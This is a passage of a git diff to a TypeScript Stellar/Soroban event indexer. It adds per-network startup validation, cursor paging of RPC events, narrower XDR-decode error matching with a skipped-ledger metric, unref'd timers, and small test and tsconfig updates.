SOROBAN_RPC_URL_MAINNET killed + * the process during main(), taking testnet indexing AND the HTTP API with it. + * The API does not index. The naira rails are plain HTTP to Linq and never + * touch Soroban RPC, so a missing mainnet endpoint was stopping /ngn from + * answering for a reason that has nothing to do with it. + * + * Serving reads on the networks that *are* configured, while saying loudly + * which one is not, beats refusing to serve anything. + */ +export function planNetworks(networks: Network[] = enabledNetworks()): Network[] { + const runnable: Network[] = []; + for (const net of networks) { + try { + validateNetworkConfig([net]); + runnable.push(net); + } catch (err) { + const message = (err as Error).message; + setIndexerUnstarted(net, message); + console.error( + `[indexer/${net}] NOT STARTED — ${message}\n` + + `[indexer/${net}] Reads for this network will serve whatever is already ` + + `indexed and fall behind until it is configured. Other networks and the ` + + `HTTP API are unaffected.`, + ); + } + } + + if (runnable.length === 0) { + console.error( + "[indexer] No network is configured for indexing. The API is still serving; " + + "nothing is being indexed.", + ); + } + + return runnable; +} + /** * Start one loop per enabled network (see `NETWORKS`). * @@ -533,23 +668,38 @@ export async function startIndexer(network?: Network): Promise { * returns immediately with the loops running in the background. */ export function startAllIndexers(networks: Network[] = enabledNetworks()): Network[] { - // Validate every network up front so a bad mainnet endpoint is reported at - // startup rather than after testnet has already begun writing. - validateNetworkConfig(networks); + const runnable = planNetworks(networks); + if (runnable.length === 0) return []; - console.log(`[indexer] Starting loops for: ${networks.join(", ")}`); + console.log(`[indexer] Starting loops for: ${runnable.join(", ")}`); const run = (net: Network) => { startIndexer(net).catch((err) => { + if (!requestedNetworks.has(net)) return; console.error(`[indexer/${net}] loop crashed, restarting in 10s:`, err); - setTimeout(() => run(net), 10_000); + const timer = setTimeout(() => { + restartTimers.delete(timer); + run(net); + }, 10_000); + restartTimers.add(timer); + // Unref'd, because a restart wait is not a reason to keep a process + // alive — the API listening is. Held to the event loop, this chain is + // immortal: the first crashed loop reschedules itself forever, and + // anything that imported the module can never finish, let alone exit. + timer.unref(); }); }; - for (const net of networks) run(net); - return networks; + for (const net of runnable) requestedNetworks.add(net); + for (const net of runnable) run(net); + return runnable; } function sleep(ms: number): Promise { - return new Promise((r) => setTimeout(r, ms)); + return new Promise((resolve) => { + // Same reason as the restart timer above: the gap between two polls must + // not be what keeps the process running. + const timer = setTimeout(resolve, ms); + timer.unref(); + }); } diff --git a/src/rpc.ts b/src/rpc.ts index 9063904f5..edf919c66 100644 --- a/src/rpc.ts +++ b/src/rpc.ts @@ -1,6 +1,6 @@ import { rpc as RPC, xdr, scValToNative, Contract, TransactionBuilder, Account, Networks } from "@stellar/stellar-sdk"; import { resolveNetwork, currentNetwork, type Network } from "./network"; -import { recordRpcError } from "./metrics"; +import { recordRpcError, recordSkippedLedger } from "./metrics"; // ─── Network config ─────────────────────────────────────────────────────────── const TESTNET_RPC_URL = "https://soroban-testnet.stellar.org"; @@ -93,6 +93,13 @@ export interface RawEvent { value: xdr.ScVal; } +export interface FetchEventsResult { + events: RawEvent[]; + latestLedger: number; + cursor?: string; + maxEventLedger: number; +} + // ─── getEvents wrapper ──────────────────────────────────────────────────────── /** * Fetch contract events from Stellar RPC. @@ -106,8 +113,9 @@ export async function fetchEvents( startLedger: number, contractIds: string[], limit: number = 10_000, - network?: Network -): Promise<{ events: RawEvent[]; latestLedger: number }> { + network?: Network, + cursor?: string +): Promise { const rpc = getRpc(network); // Build the request using the correct Server.GetEventsRequest type. @@ -124,6 +132,9 @@ export async function fetchEvents( }, ], }; + if (cursor) { + (request as any).cursor = cursor; + } const resp = await rpc.getEvents(request); @@ -141,7 +152,13 @@ export async function fetchEvents( value: e.value, })); - return { events, latestLedger: resp.latestLedger }; + const maxEventLedger = events.reduce((max, e) => (e.ledger > max ? e.ledger : max), 0); + return { + events, + latestLedger: resp.latestLedger, + cursor: (resp as any).cursor, + maxEventLedger, + }; } // ─── Network tip helper ─────────────────────────────────────────────────────── @@ -179,6 +196,49 @@ export async function withRetry( } // ─── XDR-safe event fetch ───────────────────────────────────────────────────── +/** + * Markers of a genuine XDR/decode failure. + * + * Every entry is a message the XDR codec itself produces, or a phrase that only + * makes sense as a decode complaint. The old check also matched the bare word + * "unknown", which is what a *provider* says when it has no better answer — + * `unknown error`, `getaddrinfo ENOTFOUND … unknown host`, a 5xx body. Those + * are transient, and skipping a ledger on one loses that ledger's events for + * good while the cursor moves on. + */ +const XDR_ERROR_PATTERNS: readonly RegExp[] = [ + // "Failed to decode XDR: …", "invalid XDR contract typecast …", and the + // base64/hex envelopes the SDK wraps decoded payloads in. + /\bxdr\b/i, + // js-xdr reading a discriminant the compiled-in type definitions do not know: + // "unknown SCValType member for value 9". The exact case that motivates the + // skip path — a ledger using an enum arm added after this SDK was built. + /unknown\s+\S+\s+member\s+for\s+value/i, + /is not a value of any member of/i, + // The rest of the decoder's own complaints, none of which a transport or a + // provider can produce. + /bad union switch/i, + /not a member of\s+\S+/i, + /attempt to read outside the boundary of the buffer/i, + /exceeded max decoding depth/i, + /source invalid:/i, + /invalid padding/i, + /invalid i32 value/i, + /invalid u32 value/i, +]; + +/** + * Whether an error from the event fetch is a genuine XDR/decode failure — the + * only kind `fetchEventsSafe` is allowed to answer by skipping a ledger. + * + * Everything else (timeouts, DNS, 5xx, auth) propagates, so the caller's own + * retry and alerting see it instead of a hole in the index. + */ +export function isXdrError(err: unknown): boolean { + const msg = err instanceof Error ? err.message : String(err ?? ""); + return XDR_ERROR_PATTERNS.some((pattern) => pattern.test(msg)); +} + /** * Like fetchEvents but handles XDR decode errors gracefully. * @@ -191,6 +251,9 @@ export async function withRetry( */ type FetchFn = typeof fetchEvents +/** Max number of pages to drain per fetchEventsSafe call before giving up. */ +const MAX_PAGES_PER_FETCH = 50; + export async function fetchEventsSafe( startLedger: number, endLedger: number, @@ -202,24 +265,48 @@ export async function fetchEventsSafe( // If the range is a single ledger and it fails, skip it. if (startLedger >= endLedger) { try { - const { events, latestLedger } = await _fetchFn(startLedger, contractIds, limit, network); - return { events, highestLedger: Math.max(startLedger, latestLedger) }; + const { events, maxEventLedger } = await _fetchFn(startLedger, contractIds, limit, network); + const covered = maxEventLedger > 0 ? Math.max(startLedger, maxEventLedger) : startLedger; + return { events, highestLedger: Math.min(covered, endLedger) }; } catch (err) { - const msg = (err as Error).message ?? ""; - if (msg.includes("XDR") || msg.includes("unknown")) { - console.warn(`[rpc] Skipping ledger ${startLedger} — XDR decode error: ${msg}`); - return { events: [], highestLedger: startLedger }; - } - throw err; + if (!isXdrError(err)) throw err; + console.warn(`[rpc] Skipping ledger ${startLedger} — XDR decode error: ${(err as Error).message}`); + // A skip is a hole in the index that nothing ever fills in, so it counts: + // the console line scrolls away, this does not. + recordSkippedLedger(resolveNetwork(network)); + return { events: [], highestLedger: startLedger }; } } try { - const { events, latestLedger } = await _fetchFn(startLedger, contractIds, limit, network); - return { events, highestLedger: latestLedger }; + const allEvents: RawEvent[] = []; + let cursor: string | undefined; + let maxEventLedger = 0; + let pages = 0; + let lastCursor: string | undefined; + + while (true) { + const page = await _fetchFn(startLedger, contractIds, limit, network, cursor); + allEvents.push(...page.events); + if (page.maxEventLedger > maxEventLedger) maxEventLedger = page.maxEventLedger; + pages++; + + // A full page means there may be more; page with the cursor until the + // range is drained, the page budget is hit, or the cursor stops advancing. + const isFullPage = page.events.length >= limit; + const nextCursor = page.cursor; + if (!isFullPage || !nextCursor || nextCursor === lastCursor) break; + if (pages >= MAX_PAGES_PER_FETCH) break; + lastCursor = nextCursor; + cursor = nextCursor; + } + + // highestLedger is the last ledger we actually covered, clamped to endLedger. + // Never the raw tip: the propagation buffer must not be jumped past. + const covered = maxEventLedger > 0 ? Math.max(startLedger, maxEventLedger) : startLedger; + return { events: allEvents, highestLedger: Math.min(covered, endLedger) }; } catch (err) { - const msg = (err as Error).message ?? ""; - if (!msg.includes("XDR") && !msg.includes("unknown")) throw err; + if (!isXdrError(err)) throw err; // Bisect: try lower half, then upper half console.warn(`[rpc] XDR error in ledgers ${startLedger}–${endLedger}, bisecting…`); diff --git a/tests/integration/api.test.ts b/tests/integration/api.test.ts index de4b52754..1a94974e2 100644 --- a/tests/integration/api.test.ts +++ b/tests/integration/api.test.ts @@ -9,9 +9,9 @@ import { const API_BASE_URL = process.env.INTEGRATION_API_URL ?? "http://localhost:3300"; -async function getJson(path: string) { +async function getJson(path: string): Promise> { const response = await fetch(`${API_BASE_URL}${path}`); - const body = await response.json(); + const body = (await response.json()) as Record; expect(response.status, JSON.stringify(body)).toBe(200); return body; diff --git a/tests/integration/reorg.test.ts b/tests/integration/reorg.test.ts index adda895f9..d545bf9ac 100644 --- a/tests/integration/reorg.test.ts +++ b/tests/integration/reorg.test.ts @@ -16,6 +16,7 @@ * mirrors the Postgres @unique(eventId) constraint. */ +import { vi } from "vitest"; import type { TransferRecord } from "../../src/db"; // ── In-memory dedup store ─────────────────────────────────────────────────── diff --git a/tests/integration/ws.test.ts b/tests/integration/ws.test.ts index bbab1e704..eeda6cf00 100644 --- a/tests/integration/ws.test.ts +++ b/tests/integration/ws.test.ts @@ -25,10 +25,16 @@ function makeTransfer(overrides: Partial = {}): TransferEvent { ledgerClosedAt: new Date("2025-01-01T00:00:00Z"), txHash: "txhash", eventId: "ev-1", + network: "testnet", ...overrides, }; } +function emit(transfer: TransferEvent): void { + const { network, ...record } = transfer; + emitTransfer(record, network); +} + /** Start a test server; resolves when it's listening. */ async function startServer(): Promise<{ url: string; close: () => Promise }> { const server = http.createServer(); @@ -91,7 +97,7 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 1); - emitTransfer(makeTransfer({ toAddress: ADDR })); + emit(makeTransfer({ toAddress: ADDR })); const [msg] = await pending as [Record]; expect(msg.toAddress).toBe(ADDR); @@ -104,7 +110,7 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 1); - emitTransfer(makeTransfer({ fromAddress: ADDR, toAddress: OTHER })); + emit(makeTransfer({ fromAddress: ADDR, toAddress: OTHER })); const [msg] = await pending as [Record]; expect(msg.fromAddress).toBe(ADDR); @@ -119,7 +125,7 @@ describe("WebSocket /subscribe/:address", () => { ws.on("message", () => { received = true; }); // emit for a completely different address - emitTransfer(makeTransfer({ fromAddress: OTHER, toAddress: "GTHIRD" })); + emit(makeTransfer({ fromAddress: OTHER, toAddress: "GTHIRD" })); // small wait to confirm nothing arrives await new Promise((r) => setTimeout(r, 50)); @@ -132,8 +138,8 @@ describe("WebSocket /subscribe/:address", () => { const ws = await connect(serverUrl, `/subscribe/${ADDR}`); const pending = collectMessages(ws, 2); - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: "ev-a" })); - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: "ev-b" })); + emit(makeTransfer({ toAddress: ADDR, eventId: "ev-a" })); + emit(makeTransfer({ toAddress: ADDR, eventId: "ev-b" })); const msgs = await pending as Array>; expect(msgs.map((m) => m.eventId)).toEqual(["ev-a", "ev-b"]); @@ -143,7 +149,7 @@ describe("WebSocket /subscribe/:address", () => { await new Promise((r) => setTimeout(r, 30)); // Emitting after disconnect should not throw - expect(() => emitTransfer(makeTransfer({ toAddress: ADDR }))).not.toThrow(); + expect(() => emit(makeTransfer({ toAddress: ADDR }))).not.toThrow(); }); it("backpressure — buffers many rapid messages without error", async () => { @@ -154,7 +160,7 @@ describe("WebSocket /subscribe/:address", () => { // Fire all transfers synchronously — simulates a fast producer / slow consumer for (let i = 0; i < COUNT; i++) { - emitTransfer(makeTransfer({ toAddress: ADDR, eventId: `bp-${i}` })); + emit(makeTransfer({ toAddress: ADDR, eventId: `bp-${i}` })); } const msgs = await pending as Array>; diff --git a/tsconfig.jest.json b/tsconfig.jest.json new file mode 100644 index 000000000..da824f960 --- /dev/null +++ b/tsconfig.jest.json @@ -0,0 +1,8 @@ +{ + "extends": "./tsconfig.test.json", + "compilerOptions": { + "module": "commonjs", + "moduleResolution": "node", + "noEmit": false + } +} diff --git a/tsconfig.test.json b/tsconfig.test.json index efc81b36b..57b747810 100644 --- a/tsconfig.test.json +++ b/tsconfig.test.json @@ -2,7 +2,10 @@ "extends": "./tsconfig.json", "compilerOptions": { "rootDir": ".", - "noEmit": true + "noEmit": true, + "module": "ESNext", + "moduleResolution": "bundler", + "types": ["node", "jest", "vitest/globals"] }, "include": ["src/**/*", "tests/**/*"] }